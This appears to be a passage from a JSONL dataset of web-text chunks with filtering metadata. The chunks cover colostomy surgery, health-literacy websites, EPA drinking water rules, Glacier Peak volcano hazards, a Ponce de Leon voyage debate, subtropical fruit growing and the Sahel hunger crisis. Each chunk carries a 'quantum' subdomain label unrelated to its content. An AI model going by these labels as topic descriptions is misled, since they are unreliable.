ileostomy ( diversion of the bottom of the small intestine ) or urostomy ( diversion of the tubes that carry urine out of the bladder ). colostomy may also be referred to as bowel diversion therapy. colostomies are performed because of problems with the lower bowel. some problems can be corrected simply by \u201c giving part of the bowel a rest, \u201d according to the american cancer society. this is when temporary colostomies are used to keep stool out of the colon. if the colon becomes diseased, as in the case of colon cancer, permanent colostomies are performed and the colon may be removed completely. conditions that may warrant a permanent colostomy include : - crohn \u2019 s disease : an autoimmune form of inflammatory bowel disease - colorectal cancer - colonic polyps : extra tissue growing inside the colon, which may be cancer or may turn into cancer - diverticulitis : small pouches in your digestive system, called diverticula, become infected or inflamed - imperforate anus, or other birth defects - irritable bowel syndrome : a condition affecting the colon that causes diarrhea, bloating, constipation, and pain in the abdominal area - ulcerative colitis : another form of inflammatory bowel disease which causes the digestive tract to become inflamed on a long - term basis colostomy also carries these other risks : - blockage of the colostomy - damage to other organs - hernia : an internal organ pushes through a weak area of muscle - internal bleeding - problems from scar tissue - prolapse of the colostomy - wound", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4767780238656698, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.253358"} {"text": "these other risks : - blockage of the colostomy - damage to other organs - hernia : an internal organ pushes through a weak area of muscle - internal bleeding - problems from scar tissue - prolapse of the colostomy - wound breaking open your doctor can best explain your personal risks. the risks of the surgery and potential for complications are weighed against the advantages of the surgery for you. before surgery, your doctor will complete a full examination, which will include taking blood samples, a physical examination, and a complete medical history. during these visits, tell your doctor about any prior surgeries you \u2019 ve had and any medications you are taking, including over - the - counter medicines and supplements. your doctor will typically have you fast for at least 12 hours before surgery. you may also be given a laxative or enema for the night before to help cleanse your bowels. you can expect to stay in the hospital between three to seven days, so plan accordingly. this includes packing the right necessities, arranging care for your children, pets, or home, and taking the appropriate amount of time off of work. prior to surgery, you \u2019 ll change into a hospital gown. reclining in a rolling bed, a nurse will place an iv in your arm. this allows the hospital staff to administer fluids and medications easily. this is also how you will be given your general anesthesia. this will put you into a deep, painless sleep during the operation. while you \u2019 re asleep, you \u2019 ll be wheeled into the operating room for your colostomy. when you \u2019 ve been cleaned and prepared, your surgeon will begin with an incision into your abdomen. this incision may be large, or a series of smaller incisions. smaller incisions are used for for laparoscopy, a technique using small tools and a camera inserted into an incision to guide them. during the procedure, your doctor will locate the ideal part of the large intestine for the stoma. your doctor will cut the intestine in the appropriate area and bring it through your abdominal wall. a ring will be surgically implanted onto your abdominal wall. this ring will hold the end of the intestine in place. this ring may be permanent or temporary to help your skin heal around your exposed intestine. after everything is in place, your wound will be closed with stitches and you \u2019 ll be brought into a recovery room for observation. during that time, while staff waits for you to wake", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3942926003697833, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.254345"} {"text": "hungry to learn food information websites food standards agency contains up to date food safety and health information. food standards agency : eat well, be well great website with up to date healthy eating information, food hygiene, food safety, food labelling information, recipes and web activities such as quizzes and games. british nutrition foundation an excellent website with a wide range of recipes, activities, games, videos, posters and nutritional information. contains a huge number of recipes, an ingredient search option and video recipes where you can watch recipes being prepared. also has information on healthy eating, general health, links to tv food programmes and a section on practical cooking skills. large database of recipes suitable for diabetics. recipes from the asda magazine. lots of healthy recipe ideas. step by step photo recipes low cost recipes, with step by step photos. site created by an occupational therapist working with adults with learning disabilities. fully illustrated, step by step, photo recipes. site has a wide range of recipes. photo recipes with step by step guide. recipes are a bit unusual, not all suitable, but the occasional good one, like stovies. click on \u2018 step by step \u2019 link on right hand side of page. american website, so not all ingredients are suitable. contains detailed instructions and pictures. nala - irelands national adult literacy agency. health literacy pack : direct link to their brilliant health literacy resource section. nala ' s excellent student area, with health literacy learning activities. the california health literacy initiative - http : / / www. cahealthliteracy. org / contains a health literacy resource site with excellent links. better health channel - http : / / www. betterhealth. vic. gov. au / website with a variety of health information and easy to understand health worksheets ideal for adult learners. bbc cashwise - http : / / www. bbc. co. uk / education / beyond / cashwise. shtml looks at budgeting and managing your money. really useful for adults who want to improve money skills. this resource can be used in relation to health and budgeting. nutritional management services - food labelling http : / / www. nms. on. ca / secondary / food _ labelling. htm easy to understand guide to food labelling. world education, health education and adult literacy : breast & cervical cancer - http : / / www. worlded. org / us / health / heal / healbcchtml / index. htm this site promotes access to information and services", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3834312273714242, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.256946"} {"text": "( washington, d. c. - dec. 15, 2005 ) epa finalized two related drinking water protection rules today - - one that reduces the risk of disease - causing microorganisms from entering water supplies and the other that requires water systems to limit the amount of potentially harmful \" disinfection byproducts \" ( dbps ) that end up in our drinking water. signed as epa enters the 31st anniversary year for the safe drinking water act, the rules were proposed in august 2003, and were developed from consensus recommendations from a federal advisory committee comprised of state and local governments, tribes, environmental, public health and water industry groups. \" clean drinking water is a key ingredient to keeping people healthy and our economy strong, \" said epa administrator stephen l. johnson. \" over the past seven years epa has worked collaboratively with stakeholders to develop regulations that will provide a balance between the need to disinfect drinking water and protect citizens from potentially harmful contaminants. \" the rules are important public health measures that will decrease the incidence of gastrointestinal illnesses caused by microbial contaminants and reduce potential cancer risks associated with disinfectant byproducts in drinking water. finalizing the two rules represents the last phase of a congressionally required rulemaking strategy under the 1996 amendments to the safe drinking water act. long term 2 enhanced surface water treatment rule ( lt2 ) the \" long term 2 enhanced surface water treatment rule \" ( lt2 ), increases monitoring and treatment requirements for water systems that are prone to outbreaks of cryptosporidium, a waterborne pathogen. consuming water with cryptosporidium causes gastrointestinal illness which can be severe in people with weakened immune systems, such as infants or the elderly and could be fatal in people with severely compromised immune systems, such as cancer and aids patients. lt2 will improve public health by reducing illness due to cryptosporidium and other harmful microorganisms in drinking water. the rule requires that public water systems that are supplied by surface water sources monitor for cryptosporidium. those water systems that measure higher levels of cryptosporidium or do not filter their water must provide additional protection by using options from a \" microbial toolbox \" of treatment and management processes, such as ultraviolet disinfection, and watershed control programs. the rule also addresses risks of contamination in systems that store treated drinking water in open reservoirs, where water quality can be compromised by exposure to outdoor elements. the rule requires open reservoirs to either be covered or", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.49189487234619667, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.260273"} {"text": "disinfection, and watershed control programs. the rule also addresses risks of contamination in systems that store treated drinking water in open reservoirs, where water quality can be compromised by exposure to outdoor elements. the rule requires open reservoirs to either be covered or receive added treatment. stage 2 disinfection byproducts rule ( stage 2 dbp ) the \" stage 2 disinfection byproducts rule \" ( stage 2 dbp ), was developed to balance the benefits and risks posed by drinking water disinfection. while disinfection is commonly known as one of the major public health advances of the 20th century, it also creates harmful byproducts that are formed when disinfectants, such as chlorine, combine with naturally occurring materials in water. the final rule targets water systems that have the greatest risk of high dbps by using more stringent methods for determining compliance. under the rule, water systems are required to find monitoring sites where higher levels of dbps are likely to occur and use these new locations for compliance monitoring. if dbps are found to exceed drinking water standards at any of these new monitoring locations, water systems must begin to take corrective action. the final rules will be published in the federal register in january. pre - publication copies and additional information can be found on the epa web site at : http : / / www. epa. gov / safewater / disinfection /", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5365407298053848, "token_count": 293, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.260886"} {"text": "s eyjafjallajokull volcano have done recently in europe. darrington could be flattened by one of glacier peak ' s lahars, a mud, rock, tree and melted glacier mixture that, while obliterating everything in its path, can lay down 30 feet of new soil in minutes. the small mountain town of about 1, 500 people is built on dozens of such flows. more than $ 750 million worth of homes, farms and other property in the stillaguamish river basin, including parts of arlington and stanwood, lie in the path of a potential glacier peak lahar. so does all of the skagit river valley to the north, which is the direction a lahar is most likely to flow. many of those who bought their homes there for the commanding views of mount baker or mount rainier have no idea that an equally powerful volcano is right in their back pocket, tucked behind some smaller mountains east of darrington and granite falls. only in 2007 did snohomish county begin requiring landowners to sign a document that, for the first time, makes them acknowledge that they ' re buying or building a home within the long reach of glacier peak. property owners and government officials aren ' t the only ones oblivious to snohomish county ' s only volcano. researchers crawl over baker, rainier and st. helens, studying, cataloging and predicting when they might erupt again. only the hardiest scientists try to uncover glacier peak ' s secrets. because it ' s hidden away and difficult to get to, it may be the least understood cascade range volcano. there are roads to st. helens, baker and rainier. there ' s no road to glacier peak, and now all but one of the dirt roads that would get you close are blown out, destroyed by flooding. to get there, hikers take the mountain loop highway out of granite falls, take north fork sauk road to the trailhead and then hike 17 miles to the peak. it takes three days for an in - shape climber to summit glacier peak, and it usually is undertaken only in the late spring or summer. st. helens, rainier, and, to a lesser extent, baker are dotted with seismometers. continuous global positioning system monitors are ready to catch even the tiniest movements at the top of those volcanoes. glacier peak has three seismometers and no gps monitoring stations. ideally, it should have 15 to 20 devices, but currently there is no money for that, said", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.40975417422717486, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.273083"} {"text": "are ready to catch even the tiniest movements at the top of those volcanoes. glacier peak has three seismometers and no gps monitoring stations. ideally, it should have 15 to 20 devices, but currently there is no money for that, said cynthia gardner, scientist in charge at the usgs ' cascade volcano observatory in vancouver, wash. there is technology to track volcanoes from satellites, but it is not in real time and isn ' t always reliable. remote and beautiful \u201c mount baker is very conspicuous, \u201d said richard waitt, a geologist with the u. s. geological survey ' s cascades volcano observatory. \u201c everybody knows about mount rainier. everyone knows about mount st. helens for a different reason. mount adams is a big spectacular thing from places like goldendale and yakima. \u201d in populated areas, glacier peak is mostly hidden from view. \u201c glacier peak isn ' t really visible from anywhere, \u201d waitt said. \u201c that ' s the one that ' s most surrounded by other mountains. it ' s only when you get up on mountains that you get up high enough to see it. when you ' re closer to it on the east side, or when you ' re hiking close to it on a trail, it can be a stunning big peak. \u201d the volcano has always been held in high esteem by those who make the long trek to see it. according to historical accounts, members of the sauk - suiattle indian tribe called glacier peak tda - ko - buh - ba or takobia. translations are difficult, according to one accounting by tribal elders. it ' s called \u201c da kobad, \u201d which translates to \u201c great white mother mountain \u201d in \u201c indian stories and legends of the stillaguamish, sauks and allied tribes, \u201d a booklet first printed in 1926. those who know the volcano love it. they count it as one of the country ' s most wild places, rising from the heart of one of the largest contiguous pieces of wilderness in the country outside of alaska. the glacier peak wilderness, edged by the stephen mather wilderness in north cascades national park to the north and the henry m. jackson wilderness to the south, is so rugged and untrammeled that grizzly bears and wolves are believed to live there. \u201c the setting is kind of unparalleled, \u201d said gary paull, trails and wilderness manager for the mount baker - snoqualmie national forest. \u201c it ' s a big mountain. it towers up more", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4117131175759106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.274124"} {"text": "believed to live there. \u201c the setting is kind of unparalleled, \u201d said gary paull, trails and wilderness manager for the mount baker - snoqualmie national forest. \u201c it ' s a big mountain. it towers up more than 7, 000 feet from the valley floor. you don ' t see logging roads. you don ' t see ( clear - cut ) harvest units. it ' s just one of the more wild settings you ' re going to find yourself in. \u201d glacier peak hazard zones anatomy of an eruption how volcanoes work tom sisson is equal parts geologist and mountain man. he ' s done a lot of hiking and camping on glacier peak to find out what makes the volcano tick. sisson ' s job is to determine what a future eruption might look like. by building on existing knowledge and by doing new research, he ' s tasked with getting better dates on past eruptions and to see how long the eruptions lasted. officially, he ' s putting together a geological hazards assessment. \u201c ( sisson ) is doing a detailed geologic map of the volcano. he ' s looking at how large and explosive past eruptions have been, \u201d usgs geologist gardner said. \u201c each volcano has its own history of eruptive behavior. \u201d thanks to how difficult it is to get to and its lack of notoriety, glacier peak is one of the last volcanoes in the cascades to get such a study, she said. sisson is hearty and hale, which makes him the right candidate for glacier peak, gardner said. \u201c he ' s a really expert mountaineer in addition to an expert geologist, \u201d she said. \u201c he ' s extremely capable in the back country as a mountaineer. \u201d his work as a geologist only begins after he hikes in to the mountain. first sisson must find a lava flow or rock deposit that looks like it could be from an eruption that he ' s interested in studying. then he must break off a piece and haul it back to his lab, something that ' s difficult to do when the only tools you ' re allowed to use are a pickaxe, shovel and muscle. and rocks are heavy. \u201c we ' ve been working with a horse packer out of darrington, \u201d sisson said, giving credit to the u. s. forest service for granting him unrestricted access to the area. \u201c we ' ll bring the rocks out to a base camp and he ' ll haul them off the mountain for us. \u201d camping out for two weeks at a time", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39640003571433335, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.275052"} {"text": "the u. s. forest service for granting him unrestricted access to the area. \u201c we ' ll bring the rocks out to a base camp and he ' ll haul them off the mountain for us. \u201d camping out for two weeks at a time, sisson and any fellow geologists he can talk into helping him will find a \u201c hundred or so rocks \u201d to take back to his lab in menlo park, calif. each rock tells part of the story. it ' s sisson ' s job to put the pieces together. \u201c we want to know what kind of lava it was, \u201d he said. \u201c we want to know when the eruption took place. \u201d geologist jim beget did his thesis on glacier peak in 1970, sketching out a picture of a volcano that has an active and explosive eruptive history with major eruptions roughly 1, 800, 5, 000, 11, 500 and 13, 000 years ago. in his thesis work, beget also found lahars from smaller, more recent events closer to the mountain, from darrington and out to the east, said joe dragovich, a geologist with the state department of natural resources division of geology and earth resources. the mountain has erupted at least seven times in the past 13, 000 years. the eruption 11, 500 years ago altered the course of the sauk river by blocking its previous course down the stillaguamish valley with volcanic debris, beget wrote. the sauk has flowed north to the skagit river ever since. little research and monitoring have been done since beget ' s thesis. dragovich found that out when he accidentally discovered large deposits from glacier peak lahar runouts ( when a mudflow fans out and drops its load of mud ) in the skagit river valley. a couple lahars in the past 5, 000 years have reached the mouth of the skagit river, and some of the larger and older ones, from 80, 000 to 125, 000 years old, stretched all the way to whidbey island, he said. a mudflow 5, 000 years ago deposited nearly 10 cubic miles of material into the skagit valley \u2014 five times the amount of the 1980 mount st. helens eruption, according to research by dragovich. like darrington, the cities of lyman, sedro - woolley and burlington, are built on lahar deposits from glacier peak, he wrote. \u201c the fact that we can go into the lower skagit and find all these lahars in the 1990s says there", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40231322705077555, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.276337"} {"text": "the cities of lyman, sedro - woolley and burlington, are built on lahar deposits from glacier peak, he wrote. \u201c the fact that we can go into the lower skagit and find all these lahars in the 1990s says there ' s a lot of work that remains to be done, \u201d dragovich said. \u201c it ' s an education thing. it ' s a research thing. \u201d four summers into a six to eight summer plan to bring glacier peak ' s research profile up to date, sisson is learning much about the volcano. for one, he found clues that suggest the volcano is far more active than originally thought. \u201c instead of one eruption, each event was several eruptions over a long period of time, eruptive activity that could have spanned hundreds of years, \u201d he said. \u201c then there are extended periods where nothing is happening. it ' s feast or famine there. \u201d sisson also has found that glacier peak is much older than he expected, more than 700, 000 years old. mount st. helens, by contrast, is about 300, 000 years old, he said. mount st. helens ' 1980 eruption blew out the north side of the mountain, killing 57 people, destroying 250 homes, 47 bridges and 185 miles of highways. the mountain ' s elevation shrunk from 9, 677 feet to 8, 365 feet after the largest landslide on record in the united states. now, the volcano is a national monument and the focal point for research on cascade volcanoes. it, along with two other volcanoes, has the highest level of monitoring in the country. one of glacier peak ' s three monitors is at 7, 500 feet on the west side of the mountain. the other two are not on the mountain but are within 25 miles of the volcano. this comparative low level of monitoring is why the volcano scored average at best on the usgs national volcano early warning system, a 2005 rating that said gave the volcano a 2 out of 4 score. mount st. helens did far better, with its eruption monitoring program scoring 4 out of 4. rainier and baker were among a number of cascade volcanoes that scored 2 out of 4. \u201c this threat assessment it a relatively new assessment, so it ' s a new way of looking at things, \u201d gardner said. \u201c we ' re using the information to build up our monitoring program in the cascades. \u201d local emergency management officials are concerned because many of the people who live in snohomish county, one of the fastest growing counties in", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3769395313094251, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.277243"} {"text": "\u201d gardner said. \u201c we ' re using the information to build up our monitoring program in the cascades. \u201d local emergency management officials are concerned because many of the people who live in snohomish county, one of the fastest growing counties in the state, don ' t know they live next to a fire - breathing mountain. still, thanks to the clusters of earthquakes that normally come before an eruption, they believe they will have time to warn county residents to evacuate or move to higher ground. even better, they now have reverse 911 calling technology that allows access to thousands per minute to warn them that, say, glacier peak had erupted and a lahar was rushing toward darrington. \u201c all of darrington and the surrounding area would be called and notified in two minutes, \u201d said john pennington, director of the snohomish county department of emergency management. the county also is looking at putting up sirens that would tell darrington residents to head to higher ground if a lahar were headed their way. lahars, like water, seek out low ground. that ' s an advantage for emergency responders because it means that the people most apt to be affected by a big mudflow are the same ones who get nailed by flooding. \u201c these folks are used to getting to higher ground pretty quickly, \u201d pennington said. \u201c they see the river rise pretty quickly. they can usually anticipate and watch the signs, and move to higher ground rather quickly. \u201d bill sheets : 425 - 339 - 3439 ; email @ example. com.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4051024783285994, "token_count": 314, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.277814"} {"text": "500 years of florida history sailor takes a different tack on ponce de leon ' s florida voyage published : sunday, march 10, 2013 at 6 : 09 p. m. last modified : sunday, march 10, 2013 at 9 : 44 p. m. bradenton - for most of his life, douglas t. peck has battled nazis, gravity, ocean currents and all manner of resistance from expert opinion. as florida prepares to celebrate the 500th anniversary of its discovery by europeans, the man who rewrote the map of that milestone voyage figures he ' s too old to make peace now. \" i wouldn ' t have any reason for going back to school, \" responds peck to a question about how a doctoral degree might have converted key academic circles into more receptive audiences. \" the very professors who want to teach me something are the ones i ' ve proven wrong. \" i ' d flunk out. \" two decades ago, the feisty world war ii veteran ignited a debate among historians \u2014 and ultimately, between two communities \u2014 by reconstructing juan ponce de leon ' s historic 1513 maritime journey to florida ' s coasts. in the early spring of 1990, using modern navigational technology and adjusting for flaws in 16th - century compasses, peck set sail from puerto rico and followed the same northwesterly, day - by - day course described by the spanish conquistador. piloting a 33 - foot cutter named the \" gooney bird, \" peck plunged headlong into a revelation : he made landfall not at st. augustine, as tradition holds, but some 125 miles farther south, in melbourne beach. consequently, when the quincentennial anniversary of juan ponce ' s expedition rolls around on april 4, st. augustine and melbourne beach will host separate festivities claiming geographical stewardship of the spaniard ' s legacy. still, at age 95, the restless bradenton resident claims he gets no respect from florida scholars, even as he attempts to demolish yet another sacred cow \u2014 the supremacy of european seafaring. \" they ' ve always tried to portray the maya with crude log canoes incapable of going great distances, \" peck says of the celebrated pre - columbian temple builders of mexico. \" but i can show where the maya mastered celestial navigation a thousand years before the europeans and spread their influence into florida and beyond. \" a love of the sea virtually deaf but disdaining hearing aids, peck ' s appearance exudes a maverick aura. white hair falling about his collar, past his pierced earrings, the old army air corps", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.36094470960057723, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.284847"} {"text": "and spread their influence into florida and beyond. \" a love of the sea virtually deaf but disdaining hearing aids, peck ' s appearance exudes a maverick aura. white hair falling about his collar, past his pierced earrings, the old army air corps aviator wears a nautical necklace medallion awarded by the spanish government in appreciation of his research. on this day, he also wears khakis and hush puppies, along with a blue blazer over a hawaiian shirt erupting with tropical flowers and vintage warplanes. a retired commercial pilot with combat experience over north africa and italy aboard the likes of p - 38s and p - 47s, peck went on to earn a master ' s degree in military science at the u. s. army war college in 1958. that was the decade he also began his love affair with the sea. \" i ' ve known any number of pilots who retired from flying \" because it was too expensive, explains the retired air force command pilot and engineering officer. \" sailing is the next best thing. \" peck would eventually make four trans - atlantic crossings from spain to the bahamas. in 2011, the royal institute of navigation published his results, \" the empirical reconstruction of columbus ' navigational log and track of his 1492 - 1493 discovery voyage. \" it was during those adventures that peck became intrigued with christopher columbus ' young seaman apprentice, anton de alaminos. twenty years later, alaminos would become the pilot on that fateful journey to the unknown land that juan ponce would call \" la florida. \" \" ponce de leon was not a navigator, he was a warrior. he didn ' t know anything about navigation, \" peck declares. \" alaminos was running the ship. i ' d been told that his logs were no good and nobody knows for sure where ponce de leon landed, but as i began to read, i said, ' my god, it ' s so clear and so accurate. he was using dead reckoning, not celestial navigation. ' \" and i was able to pinpoint where ponce de leon landed within an eight - mile frame. \" because juan ponce ' s original log has never been recovered, historians have relied on a 1601 copy transcribed by antonio de herrera. scholars have challenged its accuracy because of herrera ' s insertion of events and observations that occurred after the florida odyssey. but peck says every aspect of his 1990 \" gooney bird \" trip lined up perfectly with aliminos ' headings and distances. except for one thing : the latitudes for the 151", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40976174928579134, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.285816"} {"text": "insertion of events and observations that occurred after the florida odyssey. but peck says every aspect of his 1990 \" gooney bird \" trip lined up perfectly with aliminos ' headings and distances. except for one thing : the latitudes for the 1513 trip were too far north by a full 2 degrees, as compasses failed to correct for magnetic variation. although scholars have long contended the ponce voyage was charted by celestial navigation, peck says there is no evidence for that. \" aliminos learned dead reckoning from columbus, and he stuck with it, \" peck says. the revised coordinates came as a shock to st. augustine, whose attractions include the fountain of youth archaeological park ( another alleged ponce de leon myth that peck has gone to great lengths to debunk ). but by 1992, the florida historical quarterly felt confident enough with peck ' s research to publish it in their october issue. retired university of florida professor and de facto dean of florida history michael gannon worked with peck on the article and says he has seen nothing to refute that groundbreaking data. historian and former director of the st. augustine foundation at flagler college eugene lyon is also in peck ' s corner. \" when i read captain peck ' s book, i felt his interpretation of the only real log we have is a good one, \" lyon says. \" melbourne beach is the most likely place ponce de leon landed. \" but peck says gannon and lyon \" are the only two published florida scholars \" who have supported his work. indeed, all but two of peck ' s 19 papers \u2014 on ponce de leon as well as other aspects of pre - columbian history \u2014 have appeared in out - of - state university presses, from england to mexico to the national geographic society. peck has just ended his latest local squabble with the university of florida press, with whom he broke off negotiations over his latest manuscript. \" the editor who was working with him saw great value in his work and admired his research, \" says university press editor in chief amy gorelick. \" but they couldn ' t agree on how it should be rewritten. \" gannon, who suggested two years ago that peck write a definitive piece on the ponce de leon voyage for the quincentennial, also attempted to shepherd the manuscript into publication. \" when he sticks to the voyage, he ' s got it nailed, \" gannon says. \" but he wanted to put a lot of other things in there that weren ' t related to a good, precise narrative of the voyage", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4089823702308681, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.286835"} {"text": "into publication. \" when he sticks to the voyage, he ' s got it nailed, \" gannon says. \" but he wanted to put a lot of other things in there that weren ' t related to a good, precise narrative of the voyage of 1513. \" sitting next to his map of juan ponce ' s epic 16th - century trip is a scale - model replica of a 40 - foot, seaworthy canoe peck insists the yucatan maya employed to spread their culture to florida and beyond. to peck, that means the maya, with their advanced understanding of celestial navigation, beat the spanish to the sunshine state by several centuries. maybe someday, peck muses, florida historians will catch up. in the meantime, on april 4, peck says he plans to attend the quincentennial ceremonies at the site of his own discovery, in melbourne beach. outwardly, he appears to relish his outlaw role. \" it ' s gotten to where historians don ' t like to see me coming down the road, \" he says, \" because i turn all their old tired theories upside down. \" reader comments posted to this article may be published in our print edition. all rights reserved. this copyrighted material may not be re - published without permission. links are encouraged.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38606494988621837, "token_count": 257, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.287334"} {"text": "check out these tips for growing subtropical fruit. e - mail this page to your friendsx a link to % this page % was e - mailed even if you don ' t live in the deep south, you can still grow subtropical fruits. thanks to better growing information and more disease - resistant varieties, subtropical plants can be grown in just about any climate. master gardener paul james and subtropical fruit gardener tom spellman explain how. depending on where you live, there are steps you can take to protect the heat - loving subtropicals from their mortal enemy, cold weather. take for instance this jackfruit growing on a hilltop in san diego. if the temperature dips below freezing, it ' s a goner, so the plant ' s location is critical to its survival. spellman planted this tree on the edge of a slope where the cold air falls away. it ' s also planted close to the wall of the house where it receives reflected heat from the surface of the house. spellman took further precautions by planting it in a soil that has been thoroughly amended and mulched so that it is very fast - draining. he also uses an easy - to - make, customized plant cover. to build your own protective plant cover, drive four wooden posts into the ground just outside of the foliage line to provide a structure for the cover. cut and staple a lightweight row covering to the posts, being careful not to pull too tightly because the tree needs air circulation. then add another length of material crosswise to enclose the tree. this cover provides up to five degrees of additional frost protection. \" it ' s not the saving grace if we have a really severe frost, \" says spellman, \" but for temperatures down to the mid to high 20s, you ' re going to get good results from it. \" the tree cover should stay on until the threat of frost has passed. for colder climates where a cover is not enough protection, there are more elaborate options. some gardeners use plastic coverings with small space heaters or light bulbs to keep up the temperature. \" extreme beauty sometimes calls for extreme measures, \" says james. another way to nurture subtropical plants is something you probably do already for the rest of the garden - - mulch. wilson recommends using mulch because it holds in moisture and increases the bioactivity in the soil. by encouraging earthworms and beneficial fungi to live in the soil, it also allows the plants ' root systems to take up nutrients in a much more efficient form. if you '", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.40326118533318883, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.290978"} {"text": "it holds in moisture and increases the bioactivity in the soil. by encouraging earthworms and beneficial fungi to live in the soil, it also allows the plants ' root systems to take up nutrients in a much more efficient form. if you ' re still not sure about providing adequate frost protection outdoors, make it easier on yourself and grow your subtropical plants indoors. \" most varieties in areas east of here are only going to be outdoors for the summer, \" says wilson. \" you ' re going to have to put them in a glass house or enclose them in a screen porch. \" subtropical plants need to be grown some place where they can be maintained in a frost - free environment. one of the best ways cold - climate gardeners can grow subtropical plants is in containers. the benefits include great drainage, good soil, mobility and great variety. in one barrel, spellman plans to grow four plants plus a ground cover. \" i chose this half - barrel because of its 25 - gallon capacity, \" he says. \" i think these selections will probably thrive in this barrel for three to five years. \" some of the plants he has selected include passionfruit, seen here, pineapple guava, papaya and a meyer lemon, which isn ' t subtropical but flourishes in warm weather. a strawberry plant will serve as a foundation. to prepare the container, start with a rich, high - quality potting soil. add a few inches of soil to the bottom and then stomp down on the soil with your foot to minimize settling. next add the plants, positioning the shorter pineapple guava and papaya in front, the lemon to create depth, and the taller passionfruit to provide height. to finish off the container, spellman plants edible strawberries around the perimeter of the base. the great thing about a container is that you can simply move it indoors when cold weather threatens. \" so you see, it really is possible to grow subtropical fruit just about anywhere in the continental u. s., \" says james. if you feel like monkeying around with a new botanical adventure, why not grow bananas?", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4389241841847802, "token_count": 432, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.291791"} {"text": "this blog is part of a series organized by the huffington post and the ngo alliance interaction to call attention to the crisis in the sahel, a region in sub - saharan africa where more than 18 million people face starvation and 1. 1 million children under the age of 5 are at risk of dying from acute malnutrition. click here to read more of huffpost impact ' s coverage of the sahel and here to find out what interaction members and others are doing in the sahel. i recently returned from the sahel region of africa, where a major humanitarian crisis is now unfolding, affecting an estimated 18. 7 million people. in the tahoua region of niger, where concern is responding, i saw children who, completely listless from the effects of malnutrition, could not hold down therapeutic milk in overcrowded feeding centers. the united nations now estimates that upwards of one million children are at extreme risk of severe acute malnutrition across this semi - arid belt of land along the sahara desert. even in ' non - crisis ' years, 645, 000 children die in the sahel - - 35 percent of which are linked to malnutrition. this grim reality will never change unless we address the root causes of cyclical hunger. last year, sporadic rainfall followed by plagues of birds, locusts, and other pests wiped out crops for many smallholder farmers. a range of other factors, including environmental degradation, regional insecurity - - aggravated by recent displacements from the conflict in mali - - and chronic poverty have exacerbated the problem. between october 2011 and april 2012, prices of local millet and sorghum, staples in niger, rose by approximately 68 percent. even when food is available, rocketing prices make them unaffordable and out - of - reach for the poor. i visited one village where people had been waiting all morning to show us what they were currently surviving on. they brought what they call \" famine foods, \" which are only eaten when nothing else is available. they had wild desert plants, very hard and bean - like vegetables, and most shocking of all, grain that they had taken from giant anthills. recent united nations figures reveal that agencies and governments in the region require $ 925 million to meet immediate humanitarian needs in the sahel. at the end of may, less than half of that had been provided. particularly vulnerable countries such as niger now face an acute funding shortfall. a further delay in response will lead", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4354484521942312, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 